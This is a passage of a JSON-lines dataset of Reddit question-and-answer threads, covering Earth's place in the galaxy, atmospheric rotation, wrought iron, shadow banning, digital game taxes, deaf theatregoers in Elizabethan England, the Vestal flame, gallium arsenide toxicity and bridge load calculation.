information about astronomy.\n\n_URL_1_\n\nEdit 3: Grammar, for the Grammar God.", "The most unique thing is that our solar systems speed around the milky way is very in sync, avoiding \"traffic jams\", orbiting areas with higher density that have more supernovae than if it would orbit faster or slower within the milky way.\n\nWe have a too big moon for our small planet and have yet to find/identify another dual-planet like us but lack the detail to notice any.\n\nYellow single stars are just slightly more rare in our galaxy but not much.", "The question your asking is an interesting one that scientists have been wondering for a long time now. The question is also rather difficult because in order to answer it, we need to compare ourselves and our solar system to others that we can observe with our current technology. We're actually currently in a great period of time for discovering exo-solar planets, so your question is currently being evaluated at the highest levels of science, awesomely enough.\n\nIn terms of Earth's position, a lot can be said. We are just at the right point in distance from the sun that we aren't too cold and arent too hot; the moon creating tidal force on the Earth in history is thought to have been a major reason for the evolution of more advanced life forms; On one of the outer edges of the galactic spiral, we have a smaller chance of collisions with other systems than much closer to the center; Our star is a nice size that doesnt blast us with radiation, nor burn through its fuel in an incredibly fast amount of time, but will still go through a expansion and destruction phase; We have many planets of varying sizes and types in our solar system, although it is difficult to postulate if this is normal or atypical. But all of the things I pointed to could be rather common or extremely rare.\n\nSo to answer your question in one phrase, it would be we don't really know. We're still looking around to try to answer that question.", "Several years ago, a pair of astronomers wrote a book called Rare Earth which addressed this question. I'm a lowly chemical engineer, so I have no idea of its accuracy. It was also pretty dry reading, frankly. They took an interesting subject and made it dull and repetitive in a way that only professional scientists can. ;)\n\nEdit: if this is a bad book, I don't mind being downvoted. But, just for my own information, I would appreciate some explanation. As I said, I can't really judge its accuracy for myself. I recommended it because it addresses op's question and appears to have been written by appropriately credentialed scholars.", "This is not about position, rather about velocity. Our galaxy, and hence our planet, moves at some small speed relative to the \"cosmic fluid\", i.e. if the universe expands, we move with the expanding fluid, but we also move a bit to the side.\n\nIt is called peculiar velocity. _URL_0_ ", "The fact that the moon is so large we are almost a double planet is unusual. At least, unusual among the paltry sample of rocky planets we have. Mercury and Venus have no moons. Mars has two paltry captured asteroids. Earth has that big, beautiful Moon.  \nThe moon offers us a couple of advantages. First, it serves as a shield against asteroids. It isn't perfect, but if you look at the far side of the Moon, you'll see just how many hits its taken for us.  \nSecond, it's tidal forces churn the planet, stirring up all kinds of interesting materials from the depths of the core and contributing to the tectonic forces that drive the planet's shape.  \nJust how unique this is and how much it contributes to the development of advanced life forms such as dinosaurs, mammoths or humans is still up for debate. We really need a bigger sample size of rocky planets and their moons.", "There is one significant feature of our position in the galaxy: we're in the Local Bubble. _URL_0_\nThis is an area of interstellar space that is relatively free of gas and dust, and allows us to see farther into the Universe than would otherwise be possible. It was caused by one or more supernovae long ago. If we weren't in this bubble we'd probably be a bit farther behind in astronomy and physics than we are now.", "Our moon is gigantic in relation to the body that it orbits.  That's very unusual among orbiting ratios that we have observed.\n\nAs a consequence, Earth is subject to gravitational events that it would not have been if it had a more typical moon.  Notably, strong tides on it's surface features, and a stabilization of (iirc) it's orbit and rotation.\n\nCertainly the presence of strong tides led to evolution, as it developed a transition area for life that started in the sea to gradually develop into land based animals.  If there were no tides there'd be no intertidal zones and therefore the transition from sea based to land based animals would have been more difficult if not impossible.\n\nAlso, the stabilizing of Earth's orbit had led to a more stable seasonal swings, although it's impact on evolution is much more in question.  You might even be able to argue that the presence of dynamic change would foster evolution rather than stunt it.", "To add a minor item to the other replies:  The earth is in an area between the Milky Way galaxy's arms.  This means less close encounters with other stars that could affect planetary orbits, and less gas  &  dust obsuring our view out into the rest of the universe.\n\nIt's not unique - but it is a way in which our world is more stable and more convenient to astronomers than some other possible locations would have been.", "Another point on our moon: it's a huge moon relative to the size of the planet it orbits, at least compared to any other moons we've been able to observe (those in our solar system).   _URL_1_\n\nOther moons are larger, but the planets they orbit are so gigantic that the moons look tiny in comparison.\n\nThe earth-moon size ratio is so odd that some astronomers don't call it a planet-moon system, they call it a double-planet system.  _URL_0_\n\nSo that great big moon in the sky?  Not normal.  Our large tides every day?  Not normal.", "A few things I've read over the years:\n\n1. Our Milky Way Galaxy has a more dense center and arms, which contain higher concentrations of stars. Often these stars go supernova and release high amounts of radiation, which flows through nearby stars and planets. Our solar system is located 2/3 of the way out of the center, and not in the center of an arm. We're far less likely to get bathed in radiation or get collided with here. Many planets are located in places far too radioactive for life.\nWe also are able to view the rest of the galaxy more easily here, since there is not tons of radiation distorting what we can see.\n\n2. Jupiter is like a giant gravity vacuum cleaner for random space debris (meteoroids, comets, etc) so that's good. Saves us from tons of random rocks from entering the inner solar system.\n\n3. Our moon is quite large as far as moons go, which is convenient because it also acts as a gravity vacuum, attracting more rocks that would otherwise come and hit earth. (The Aitken Basin is a HUGE crater in the south pole; 8 miles deep and 1500 miles across) Also, our moon acts like a stabilizing anchor for our planet, preventing it from tilting too far towards the sun or Jupiter.", "The only thing remarkable about the earth (aside from its life) is how unremarkable it is.\n\nIt is a medium sized planet. Orbiting a medium, unremarkable star. In a medium, unremarkable system. Orbiting in an unremarkable part of an unremarkable galaxy which is in an unremarkable cluster of galaxies...\n\nBut it's also those very mediocrities that have lead to our being here to talk about it.\n\nOur solar system has a star that isn't temperamental and won't burn out too quickly. And it is still powerful enough to have rocky planets, and a planet with liquid water.\n\nOur system also has a couple very standard gas giants that clean up or expel many of the things that would look to destroy us.\n\nFurther, our system is far away from any other temperamental stars or groups of stars. We're not too close to the center of the galaxy and all the hustle and bustle that goes on there.\n\nOur galaxy hasn't gone through any traumatic events that would damage it (turn it from a virgin spiral galaxy to a blob galaxy). There's nothing crazy like a gamma ray jet or anything coming from our central black hole or any near by.\n\n-------------\n\nWhile it's true we're at the center of the observable universe, it's no more important than the fact that if you were on a boat in the middle of the ocean, that you would seem to be at the center of the observable ocean. Each observer is at the center of his own observable universe.\n\nOur planet is the normal of the medium of the commonplace. And that's fantastic. It opens up the possibility that we're not a fluke. That life and intelligent life may be as an inevitable result of liquid water, heat and time as a star is the inevitable result of clouds of hydrogen.\n\n-------------\n\nThe things that are remarkable about our planet, our position in space, and our position in time...\n\n1. Our moon is at a distance that means solar eclipses can be total (though its elliptical orbit will make some eclipses be more than total - moon is too big - or less than total - moon is too small... And in time it will continue to drift away until all eclipses are partial).\n\n2. Our planet is in the Goldilocks zone of our sun. But much like the 'observable universe' issue, this is no more interesting than it's interesting that a basketball has a spherical shape. Any other shape would render it useless and the basketball wouldn't exist. Intelligent life can only come into being where conditions are right that intelligent life can come into being. If we had been beings that live in space, need no sustenance and could bend laws of physics, then we could claim to be remarkable.\n\n3. Our moon contains a lot of the 'lighter' elements from earth's crust. The impact that created it seems to have taken a lot of material with it. But not the heavier material, only the lighter elements that floated to the surface. This could mean our planet has a thinner crust than might be typical for a planet of our size.\n\n4. Our moon is relatively large. It doesn't just drive tides of water, which helped mix the primordial soup, but it also drives tides of earth itself, causing earthquakes and help keep the tectonic plate system flowing. And helps eject or absorb meteor impacts.\n\n5. The universe itself is after a time when the sky would have been completely bright in all directions, and before a time when the sky seems completely dark in all directions. This helped drive our curiosity about our place in the universe. If there were no stars to see, nobody would have asked what they were. It would have been far easier to assume the universe was tailor made for us.", "Yes, we are situated in an area of our galaxy that is relatively empty, we have a very large gas giant in our solar system that attracts rogue objects (such as asteroids), and we have a very large moon that significantly changes our center of gravity at long distance.\n\nThe significance of all these things is that we are much less likely than most planets to be struck by rogue objects which would ruin our chances of developing as a species.  Bacteria doesn't care too much when it's hit by a meteor but multi-cellular organisms, like those that use reddit, tend to die horribly when exposed.", "[Rare Earth hypothesis](_URL_0_) \nIt's a bit eerie to think about the improbability of a planet like Earth existing. \n\nSome more reading on it [here](_URL_1_) and [here](_URL_2_)\n", "I didn't have time to read all the answers given , but what few things I recall from astronomy in physics uni :   \n- position of our galaxy : reduced asteroid and generally random objects in its trajectory.  \n\n- position of our solar system within our galaxy : again , situated in a relatively calm cosmic corner.  \n\n- tilt of our solar system : imagine an eclipse bobbing up and down while circling the galaxy's core. The bigger the tilt, the more likely it is for celestial objects to enter our vicinity. Our system's tilt is pretty low.  \n\n- position of earth within the solar system : ideally placed not too far nor too close to a massive heat source that would otherwise render our rock a frozen one or a molten one.  \n\n- our heat source : a single star and not a binary one. Simply put , makes for more ideal trajectories of planets instead of far too complicated ones.  \n\n- our moon : observations (in and out of our solar system) seem to indicate the relevant distance of our moon ( and even of a planet having only one for that matter ) is somewhat unique.  \n\n- saturn : specifically - its rings. crazy as it may seem , no other observed system possesses a planet of that size with rings.", "Two collaborating facts concerning that our Solar neighborhood is in a 'bubble':  An explosion of a star gone supernova explains the clearing of gas and debris allowing our fine view of the universe.  But the remnants of a supernova also explains the presence of elements on Earth that are high on the Periodic Table.  The simpler elements (mostly gas) were cooked into heavier elements like Iron, Nickel, Copper as they'd be in most stars at least the size of our own Sun.  But to further compress and cook elements into Platinum, Gold, Lead requires the staggering forces of a supernova's guts.  \n\nThe evidence for our own Solar system being the compost of old supernova is right beneath our feet and as we gaze skyward we see that they also cleared our view.  ", "I think earth itself where its located is pretty special if you ask me.\n1. We are at a perfect distance from our star\n2. The fact that we have a moon, which of it self helped create life on earth with the affects it has on our water.\n3. We also have a gas giant (jupiter) in our solar system that helps with the        deflection and absorbtion of astroids. ", "Having rocky planets near the sun vs far from the sun is fairly unusual. Many of the solar systems that we have found that are not ours, are flipped from what we expected. Most of those had gas planets near the stars. ", "It entirely depends on how nearby you are looking.\rWithin observable universe - not perfectly, but still very homogeneous, we're not in any part that's discernibly different.\rWithin Virgo Supercluster - once again totally average, were are just one of the about 100 galaxy groups loosely bound to the larger Virgo Cluster.\rWithin Local Group - the Milky Way in  the Local Group is kind of special as it and the Andromeda galaxy are by far the most massive and are the two gravitational centers for the rest of the group.  Of course this is kind of biased as most of the stars (and presumably planets) would be in one of these two galaxies, life capable of observing this is most likely to be here.\rWithin Milky way - here and smaller should not be considered \"large scale\" as the conditions now actually affect life developing, giving observation bias.  Now in our galaxy, more stars form closer to the center, but the likelihood of life being able to arise goes down from things like possibly being too hot, far increased likelihood of getting harmful radiation from supernovas, or getting hit by a stray comet.  There isn't a Goldilocks zone like in our solar system, but there are some requirements to existing.  However if you ignore life being significant, you can say in the Milky Way we are a minority, but still super common.\rIn the Solar System - surprisingly our actual position in our solar system isn't particularly special, all stars have a hospitable zone (in late stage stars, the zone has moved around so that life can't exist there anymore).  Stars should usually have a few planets so for one to be in its special area isn't too rare.  Any specialness of Earth comes from other things, like chemical composition, the Moon, life history, and other planets.", "Can someone tell me why several people listed the moon being just right for solar eclipses as a benefit?  Other than maybe tipping us off about astronomy, I can't think of anything useful about an eclipse.  Seems like we could have evolved just fine without them.", "We are the right distance from the sun to get heat and energy from it. We are near Saturn and Jupiter (in the same neighborhood anyway) which have such a strong gravitational pull that they absorb incoming asteroids and comets that would otherwise hit Earth. We are also close to Mars where its theorized the Amino acids responsible for life on Earth came from (thrown off the planet when struck by something). Life could not develop on Mars but the building blocks that formed there that are necessary for life couldnt have formed on Earth. Life on Earth would not have happened without the Sun, Mars, Jupiter and Saturn all being where they are.", "Since the universe is both homogeneous AND isotropic, you will see the same density of galaxies, stars, etc. regardless of a) where you look from, and b) what direction you look in.  Where we are situated is no more or less special than anywhere else in the universe.  Our position within the Milky Way is only significant in the sense that main sequence stars like our Sun exist further out from the center.  Finally, our position within our solar system is perhaps the most significant since we are in the habitable zone.", "I think it's pretty unusual that The Earths position is such that this coincidence exists. The sun\u2019s diameter is about 400 times larger than that of the moon \u2013 and the sun is also about 400 times farther from Earth. So the sun and moon appear nearly the same size as seen from Earth. What are the odds?", "It is very significant because we're in the perfect seat for *VIEWING* the cosmos. That's deeply significant because such developments as Hubble and Spitzer would be nearly useless on the vast majority of planets.\n\n \nFirst, consider our position within our own galaxy. The Milky Way is an incomprehensible 100,000 light years across, and we sit in its slim \u201cgalactic habitable zone\u201d (GHZ)\u2014just far enough from the center that we\u2019re not killed by radiation, but just close enough that sufficient heavy elements needed for life are present. At the same time, our position is a perfect seat for viewing the rest of the cosmos.\n\n\nWhy? Many reasons. For one, it is so beautifully dark here. Light can be the enemy of astronomical discovery\u2014for basically the same reason that you want the lights off in the theater while watching a movie. Conveniently, our solar system is in the darkest part of the galaxy\u2019s GHZ, far from all the Milky Way\u2019s brightest lights. We live almost exactly halfway between two of the Milky Way\u2019s spiral arms, which are crowded with radiant stars and thick dust clouds that would obscure our view. Our vision is also free of any nearby gaseous nebulae. We likewise live thousands of light years away from the galaxy\u2019s many blinding star clusters.\n\n\nMaking matters even more favorable, the Milky Way happens to be in the darkest habitable area of its galaxy cluster. While a typical galaxy cluster has over 10,000 tightly packed galaxies, ours has only about 40, all but two of which (one being the Milky Way) are small or dwarf galaxies. On top of that, our galaxy cluster, called the Local Group, is in the darkest habitable part of its supercluster of galaxies, the Virgo supercluster.\n\n\nThus, there is virtually nothing in the way of our peering deep into the outer reaches of the cosmos. Earth's viewing position is highly unusual among planets and should not be taken lightly. \n\n\n[[SOURCE](_URL_0_)] \n\nedit: Formatting ", "Our sun is a sort of odd star compared to others. For it's size, it should be much hotter than it is. But our sun is starting on it's path to decline. Even though it's hot, the size of it should mean it is much hotter. It's a medium sized star with lower than average heat so that is pretty cool I think. \n\nOur moon rotates just as fast as it revolves around us. That's why we only see one side of the moon. \n\n\nNot really the answers you were looking for but these were mind blowing when I studied over our solar system. ", "Some theories suggest that we are in a kind of \"Goldilocks\" area for life in our galaxy similar to how earth is in a \"Goldilocks\" area for life in the Solar system. The thinking behind it is that the galactic core Is crowded with O type stars and therefor full of dangerous radiation while The outlying areas are less dense and don't have some of the more complex materials that are needed for carbon based lifeforms. ", "I remember reading an article somewhere a while back that suggested that the Virgo supercluster could be within a void. A lot of the universe's volume lies within voids, but not many galaxies do. That would be something unusual though we're talking about the extreme large-scale structure of the Universe here. Also this is my vague half-remembrances that I wouldn't mention at all except that I'm hoping someone with more knowledge on the topic can fill me in or point me in the direction of some articles discussing that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blog.loukavar.com/wp-content/uploads/2013/11/You-are-here.jpg"], ["https://en.wikipedia.org/wiki/Solar_eclipse", "http://www.astronomycast.com/2007/01/episode-17-where-does-the-moon-come-from/"], [], [], [], ["https://en.wikipedia.org/wiki/Peculiar_velocity#Cosmology"], [], ["http://en.wikipedia.org/wiki/Local_Bubble"], [], [], ["http://en.wikipedia.org/wiki/Double_planet", "http://en.wikibooks.org/wiki/General_Astronomy/Planetary_Moons"], [], [], [], ["http://en.m.wikipedia.org/wiki/Rare_Earth_hypothesis", "http://www.forbes.com/sites/brucedorminey/2013/04/21/rare-earth-revisited-anomalously-large-moon-remains-key-to-our-existence/", "http://www.npl.washington.edu/AV/altvw102.html"], [], [], [], [], [], [], [], [], [], ["https://www.thetrumpet.com/literature/read/6532.6.0.1/the-perfect-seat-for-viewing-the-cosmos/the-perfect-seat-for-viewing-the-cosmos"], [], [], []]}
{"q_id": "f0rfkk", "title": "if the earth is rotating at around 1,000 mph, why is it that the atmosphere also rotates at the exact same speed? we would have 1,000 mph winds otherwise??", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f0rfkk/eli5_if_the_earth_is_rotating_at_around_1000_mph/", "answers": {"a_id": ["fgx1j95", "fgx1nv0", "fgx23wy", "fgx4klb"], "score": [5, 2, 18, 2], "text": ["If the earth would stop immediately, everything at the ground would fly to the east at 1000mph~ :D.  I didn't answered your question, but that looks awesome", "If it didn\u2019t, we would have winds in the opposite direction of rotation that would make life nearly impossible", "Yes we would have 1000mph winds. But at the surface where the atmosphere meets the ground there would be a lot of drag/friction where mountains and other terrain get in the way. This would take energy away from the atmosphere, and it would slow down over time until it was a similar speed as the surface, as we have now. \n\nIt's similar to how if you stir a coffee the liquid swirls for a while but slows down to match the cup.", "When you are riding on a bus going down the highway how fast is the air inside the bus moving?  Same idea."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2zp5d0", "title": "What exactly is an iron tool?", "selftext": "From what I understand pure iron is too soft and very hard to isolate even today, cast iron is is too brittle to make tools or weapons and carbon steel is relatively late invention. So what is the iron that were used before that?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2zp5d0/what_exactly_is_an_iron_tool/", "answers": {"a_id": ["cpl0hud"], "score": [7], "text": ["Iron used in antiquity was neither pure iron, nor was it cast iron.  It was an alloy consisting of iron, a negligible amount of carbon, and thin, wavy slices of silicon.\n\nIt's commonly called \"wrought iron\", meaning it was been worked, as opposed to cast iron which is poured.\n\nSteel was still around before the Bessemer process, but was expensive and not quite scientific enough to produce a consistent product.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "35wgod", "title": "shadow banning on reddit", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35wgod/eli5_shadow_banning_on_reddit/", "answers": {"a_id": ["cr8hfd1", "cr8hfus", "cr8hhu4", "cr8inkq", "cr8l7eo", "cr8mpzw", "cr8q77f", "cr8q7a7", "cr8s18j", "cr8s4mh"], "score": [209, 65, 11, 3, 6, 24, 2, 6, 2, 5], "text": ["It's when all of your posts are automatically deleted from a sub, but you're not actually made aware of this fact. No one but you can see your submissions and posts.\n\nFrom what I understand, it's a tactic used to thwart spammers. If you get a regular ban, you know immediately and can just make a new account. But with a shadowban, it might take a while for you to realize that you need to start over.", "Businesses like ads. It's hard to buy things you haven't heard of. Easier to buy Coke than Super Duper Colala!^tm. Ads therefore go everywhere, because businesses pay for them to go everywhere.\n\nPeople will make spambots that post ads. These are like robots among a crowd of people, shouting about Coke. Reddit admins casually pick them up and wrap them in soundproof foam. Most of the times, they keep shouting but don't notice. No one hears them anymore.\n\nNot noticing is good. If spambots notice they are wrapped up, their creator will probably make more spambots to replace them, which is annoying.\n\nSpambots look a lot like people, though, so sometimes the Reddit admins make mistakes and wrap people in soundproof foam. This doesn't get fixed until they find an admin and prove they aren't a robot.\n\nThere are also reasons to be blocked other than spam and ads.", "Shadow ban is something usually done to spammers. At first you don't notice that you're banned, you can still comment post and vote, but your stuff goes into a black hole of sorts and to the rest of Reddit you are invisible, you won't get messages/replies/fake internet points.", "I have a followup question about bans. Well, several actually:\n\n1. are there different types of bans?\n\n2. can you be globally banned across reddit?\n\n3. i remember unidan's banning, and it was kind of big news. Was he banned from reddit entirely? people talk about him as if he were gone forever.\n\n4. are you banned by account name, IP address? or what? Could unidan have simply just logged back in under another account?", "Shadowbanning is a type of banning that can't be perceived when the user is logged in.\n\nTO find out if you are shadowbanned, log out and look at your user page.  If it says \"user not found\" you are shadowbanned.  ", "I got shadow banned a couple years ago for posting a video about puppies and hedgehogs. To this day, I can't figure out why that got me banned, I just know that post was the last thing that got any up votes on that account.  I'm not super active on here so I had no idea until I posted a well thought out response on /r/relationships or one of those subreddits and the mod somehow got my comment out of the spam filter and let me know I was shadow banned and should make a new account.  Suddenly it made sense why no one ever up voted or responded to my comments. \n\nThe worst part of it is that you're never even told you're banned, much less the reasons for it. In my case I didn't even get a warning. There's no opportunity to argue your case, or even learn from your mistake. As someone who follows the rules and doesn't typically get in trouble it was certainly shocking news. ", "A shadowban is a \"silent\" ban, meaning you won't know it.\n\nWhat happens when you're shadowbanned ? You can post, comment, all the usual, except it will never appear on reddit, it will only appear to you.\n\nI still wonder if it only affect an account or if it also affect the IP address.\n\nAnyway the whole issue is that some legitimate users have been shadowbanned by admins (subreddit mods fortunately cannot shadowban users) on the advice of some mods. Sometimes, the anti spam system will be triggered (posting links from the same website) and you will be shadowbanned.\n\nThe reason for this system is spam, which is a recurrent problem on internet.", "Why don't you ask the cowardly admins? Oh, that's right - they will simply stonewall you and never, ever reply.", "Its basically a ban where all of your posts are only visible to you. Same with comments.\n\nAlso guys this would have been a great thread to leave empty :\\", "Why don't people read the comments before answering?\n\nThis thread is the same answer 50 times, do you all like wasting your time?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "894bau", "title": "why when you buy games on psn or steam you don't have to pay tax, but you do if you buy the physical disc?", "selftext": "At least in Canada that's the case. If you buy digital it's $79.99 on your credit card, however it's around $90 for the disc. Why is this? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/894bau/eli5_why_when_you_buy_games_on_psn_or_steam_you/", "answers": {"a_id": ["dwowkbx", "dwowm5x", "dwoxize"], "score": [2, 6, 2], "text": ["Possibly because a disc is \"tangible personal property,\" which is taxable.  Software isn't \"tangible.\"\n\nMaybe someone who's a tax accountant or attorney can chime in to verify or correct me.", "Technically under Canadian tax law your supposed to. When filling your tax return you are supposed to declare online purchases like then ones you described. I remember a from an article about 6 months ago where the government was looking to increase the recovery of these non-paid taxes. I\u2019ll edit if I can find a link.", "Because the operations are outside of Canada the providers are not required to collect the taxes. However you are supposed to declare the purchases as part of your tax return. This rarely happens. Here is netflix as an example. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.thestar.com/news/canada/2015/08/10/netflix-subscribers-might-be-committing-tax-evasion.html"]]}
{"q_id": "dlzuqf", "title": "I'm a deaf person living in Elizabethan England. How difficult would it have been for me to go see a Shakespeare play?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dlzuqf/im_a_deaf_person_living_in_elizabethan_england/", "answers": {"a_id": ["f4wjumu", "f4wo0j1"], "score": [8, 7], "text": ["I'm assuming you mean to go enjoy and understand the play, as of course a deaf person would be perfectly able to *go* to the play, assuming they had the money for admission.\n\nI can only speak to the aspect of deaf people's participation in society, as I'm not an expert in theater of the time. It is almost certain there would have been no sign language interpretation of plays, as interpreting as a profession is less than 50 years old. Although there were signed languages in Britain at the time - Samuel Pepys's diary mentions signing [in November 1666](_URL_0_) - it would not have been in wide enough use that a play might have been interpreted. If any sort of sign language was used in the theater, it would have been by a deaf person bringing along a hearing friend they could communicate with, and getting assistance that way - indeed, that's how all interpreting was done, worldwide, until the start of the profession in the 1960s.\n\nIt is possible, though, that deaf people would have been allowed to sit closer to try to read lips. This is noted by Cockayne [in 2003](_URL_1_), she found evidence that deaf people were sometimes allowed space in the first few pews of a church. This is unlikely to have been terribly helpful to deaf theatergoers, though, as indeed it is not today - actors roam the stage, emote, and gesture, making lipreading virtually impossible even from the best seats.\n\nSo while it is certainly possible for a deaf person to have gone to see Shakespeare's plays, they wouldn't have gotten very much of the content, unless they brought a friend who could convey it to them.\n\nMore reading:  \n* Cockayne, Emily. \"Experiences of the Deaf in Early Modern England.\" *The Historical Journal* 46, no. 3 (2003): 493-510. _URL_2_.  \n* Jackson, Peter W. 2001. A pictorial history of deaf Britain. Winsford: Deafprint.", "The first reply mentions the Emily Cockayne article which is one of the best I\u2019ve seen on the subject. But to add some detail to your question. \n\nIt would not have been too difficult to attend a Shakespeare play. Assuming you are seeing the ones premiered at The Globe and not the Blackfriars, as a deaf person (and assuming that you could lip read), you would find the best way to attend was also the cheapest. \n\nAs a \u2018groundling\u2019 (the customers who paid a penny to enter and did not have seats) you could make your way to the very edge of the stage, allowing you get very close to the action above you. This would make it much easier to lip read. The seats were behind the groundlings and a distance from the stage so standing directly in front was always the best bet. \n\nThere was the option that you could sit on the stage if you paid enough but this was mostly only done by the rich wishing to show off. Certainly such a position would leave you vulnerable to cat calls and mockery and as the Cockayne article demonstrates, Elizabethan England tended to treat deafness as a cause of much amusement. \n\nIndeed being deaf could actually be a boon if you could lip read, as the sounds of peanuts crunching underfoot, hecklers, talking, vendors hawking and the myriad other distractions the theatres at the time had would not impact upon you. \n\nChances are you would not have been distracted by Shakespeare\u2019s rural accent if he was performing either (well known enough for him to mention it in a script for a royal pageant); so overall if you could lip read it would have been a bit of a blessing. \n\nThis being said, the crucial element of music would have been missing, but the other senses would be compensated. \n\nBesides afterwards, the wilder nature of Southwark beckoned, and as long as you could see you\u2019d be fine. The only possible issue I see would be if you lived in London not Southwark. Most travelled back and forth via river boat and identification was usually done by sound (the boatmen declaring either \u2018Eastward Ho!\u2019 Or \u2018Westward Ho!\u2019 depending upon direction of travel they intended to take). As long as you had someone who could hear them bellow, I\u2019m sure you\u2019d be able to arrange your journey home. \n\nHope that helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ucl.ac.uk/bslhistory/beginnings/sam-pepys-diary", "https://www.jstor.org/stable/3133559", "http://www.jstor.org/stable/3133559"], []]}
{"q_id": "55un0f", "title": "When did the flame of the vestal virgins go out?", "selftext": "By this I mean, was the flame of the vestal virgins put out when Constantine converted to Christianity? And, if so, how did this go down with the pagans who believed the city would fall of it went out? Or was it abandoned before Constantine?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/55un0f/when_did_the_flame_of_the_vestal_virgins_go_out/", "answers": {"a_id": ["d8dv92u"], "score": [15], "text": ["The Vestal shrine was closed in 394 as part of the Theodosian reforms, over 80 years after Constantine legitimized Christianity. The flame was either extinguished, or at least allowed to go out as part of that.\n\nWhile Constantine made the Christian religion official and legal, he didn't ban paganism. So the two co-existed for a long time side-by-side. There were a number of decades where one could attend mass at St Peter's Basilica in the morning, and offer votives at the Vestal temple in the afternoon.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1lxzcv", "title": "How toxic is gallium arsenide, and other potential silicon substitutes?", "selftext": "   A recent [front page article](_URL_0_) suggests potential for stacked solar cells separated by a thin film of gallium arsenide, and it got me curious about the potential drawbacks of semiconductors of this type (aluminum arsenide, indium arsenide, etc.).\n\n   Everyone knows arsenic is dangerous, but obviously compounds have different characteristics. A quick google search revealed a few suggestions of 'we're studying it as a carcinogen, but we're not really sure yet'.\n\n   Does anyone have any deeper knowledge of the potential toxicity of semiconductor materials such as gallium arsenide, or the potential dangers (arsenic seeping into groundwater, etc.) of larger-scale production of such materials? \n\nEdit: Filed this under Chemistry, would Medicine be more appropriate?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lxzcv/how_toxic_is_gallium_arsenide_and_other_potential/", "answers": {"a_id": ["cc417zn"], "score": [2], "text": ["[Here's an MSDS sheet for Gallium Arsenide.](_URL_0_) I've actually used thin films of Gallium Arsenide for solar cells before, and it's pretty tame stuff."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/technology/comments/1lwxyd/new_connection_between_stacked_solar_cells_can/"], "answers_urls": [["http://www3.nd.edu/~exafs/msds/GaAs.htm"]]}
{"q_id": "borl2t", "title": "who is james charles and why's everyone on social media talking about him?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/borl2t/eli5_who_is_james_charles_and_whys_everyone_on/", "answers": {"a_id": ["enjq5e6", "enjqgae"], "score": [6, 2], "text": ["James Charles is an internet personality who has attracted all kinds of controversies ever since February 2017. He's openly gay, and thanks to his work on the internet, he has a net worth of several million dollars.\n\nMore recently in May 2019, long-time collaborator Tati Westbrook uploaded a 43-minute long video in which she heavily criticised the internet personality, resulting in him losing more than 2 million subscribers from his YouTube channel.", "He is a homosexual youtube video maker that claims to be able to turn straight guys gay be being more feminine than your average female. He's known as the first male ambassador for make-up company \"Cover Girl\", and is notorious for his make-up art. He's currently in a make up artist youtube fight with another guy named Tati about hair vitamins.\n\n & #x200B;\n\nPeople are talking about him because they don't have much going on in their lives. Its all really stupid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4peozy", "title": "how do civil engineers calculate how much weight a bridge can hold?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4peozy/eli5_how_do_civil_engineers_calculate_how_much/", "answers": {"a_id": ["d4kceul", "d4kh6xm", "d4kpgeh"], "score": [20, 6, 2], "text": ["There's a class in college called \"statics\" and \"dynamics\".  Where you learn about how much weight various materials can support and what happens if the weight is applied at an angle and how you can add support with cables and such.  \n\n", "There are agreed-upon values for how much force materials can withstand. You basically take those values, and evaluate the way the item is being used.\nLet's say you have 50 cables in a suspension bridge, maybe each cable can hold 10 tons, so you expect to hold 500 tons. But if those cables are not straight up-and-down, the capacity would be reduced. This is a simple geometry problem-- trigonometry can be used to figure out what portion of a cable's capacity is used to hold weight *up*, while the cable is also \"wasting\" some of its capacity pulling sideways. At 45 degrees angle, a cable is pulling equally upwards and sideways and therefore needs 2x the strength for the vertical load it's taking (don't take these numbers as gospel, it's off the top of my head).\n\nThis sounds wasteful but it's needed for many designs and saves weight in other areas like the main support towers. If you wanted all the cables to be vertical you'd need a support tower for each one of them directly above its connection to the bridge, which defeats the purpose of a suspension bridge (fewer, larger support towers)...\n\nIt's as \"simple\" as calculating the forces each component will experience in use, and checking against the strength you expect from that part. But this is a huge job, so there are reasons it's done by highly-trained professionals. \n\nYou'd also worry about issues like:\n* Strength changing in the cold/heat\n* The ability to withstand damage from a traffic collision (or something similar) and still have another component do the job of the damaged one\n* Gradual effects like rust/corrosion and ice formation/buildup. ", "Basically you know how much materials like concrete and steel stand being pulled, squeezed and sheared without breaking. \n\nThen you find out how much weight it should take (is it a pedestrian bridge? cars? trucks? trains?) and hence calculate how thick your bridge should be in certain points (also depending on the way it is supported, like suspension, pillars or the power of love)\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
